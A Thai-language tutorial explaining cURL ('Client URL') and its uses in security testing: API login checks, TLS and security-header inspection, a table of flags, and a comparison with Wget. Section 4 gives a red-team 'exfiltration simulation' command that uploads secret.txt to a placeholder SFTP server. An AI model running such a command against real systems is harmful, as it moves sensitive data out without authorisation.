Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

cURL ย่อมาจากอะไรในความปลอดภัยเครือข่าย

cURL คืออะไร? (Client URL)

cURL ย่อมาจาก "Client URL" (หรือ Client URL Request Library) เป็นเครื่องมือบรรทัดคำสั่ง (Command-line tool) และไลบรารี (libcurl) สำหรับถ่ายโอนข้อมูลผ่านเครือข่าย โดยใช้ URL syntax

ความสามารถหลัก

  • รองรับโปรโตคอลมากมาย: HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, TELNET, LDAP, SMB, SMTP, POP3, IMAP, MQTT และอื่นๆ
  • ทำงานบน OS ทุกตัว: Linux, macOS, Windows, Unix
  • ใช้ในสคริปต์, Automation, API Testing, Debugging, CI/CD

cURL ในบริบท Cybersecurity

1. ทดสอบ API Security

curl -X POST https://api.example.com/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  -v  # verbose ดู headers/response

2. ตรวจสอบ SSL/TLS Certificate

curl -vI https://example.com  # ดู Certificate chain, expiry, cipher
curl --tlsv1.2 --ciphers ECDHE-RSA-AES256-GCM-SHA384 https://example.com

3. ทดสอบ Security Headers

curl -I https://example.com | grep -i "strict-transport-security\|content-security-policy\|x-frame-options"

4. File Transfer / Exfiltration Simulation (Red Team)

curl -T secret.txt sftp://user@server/path/  # Upload
curl -o file.pdf https://example.com/file.pdf  # Download

5. Web Application Testing

  • SQL Injection, XSS, Path Traversal payloads
  • Brute force / Fuzzing parameters
  • Session handling, Cookie testing

คำสั่ง cURL ที่นักความปลอดภัยควรรู้

Flagคำอธิบาย
-v, --verboseแสดงรายละเอียดการเชื่อมต่อ (Handshake, Headers)
-I, --headดึงเฉพาะ HTTP Headers
-k, --insecureข้ามการตรวจสอบ SSL Cert (ใช้ทดสอบเฉพาะ lab)
--cert / --keyClient Certificate Authentication (mTLS)
-u user:passBasic Authentication
-H "Header: value"เพิ่ม Custom Header
-x proxy:portใช้ Proxy (Burp Suite, OWASP ZAP)
--resolve host:port:ipOverride DNS สำหรับทดสอบ Virtual Host

cURL vs Wget

cURL เน้นถ่ายโอนข้อมูลสองทาง (Upload/Download) รองรับโปรโตคอลมากกว่า Wget เหมาะสำหรับ API/Automation Wget เน้นดาวน์โหลดเว็บ/ไฟล์แบบ Recursive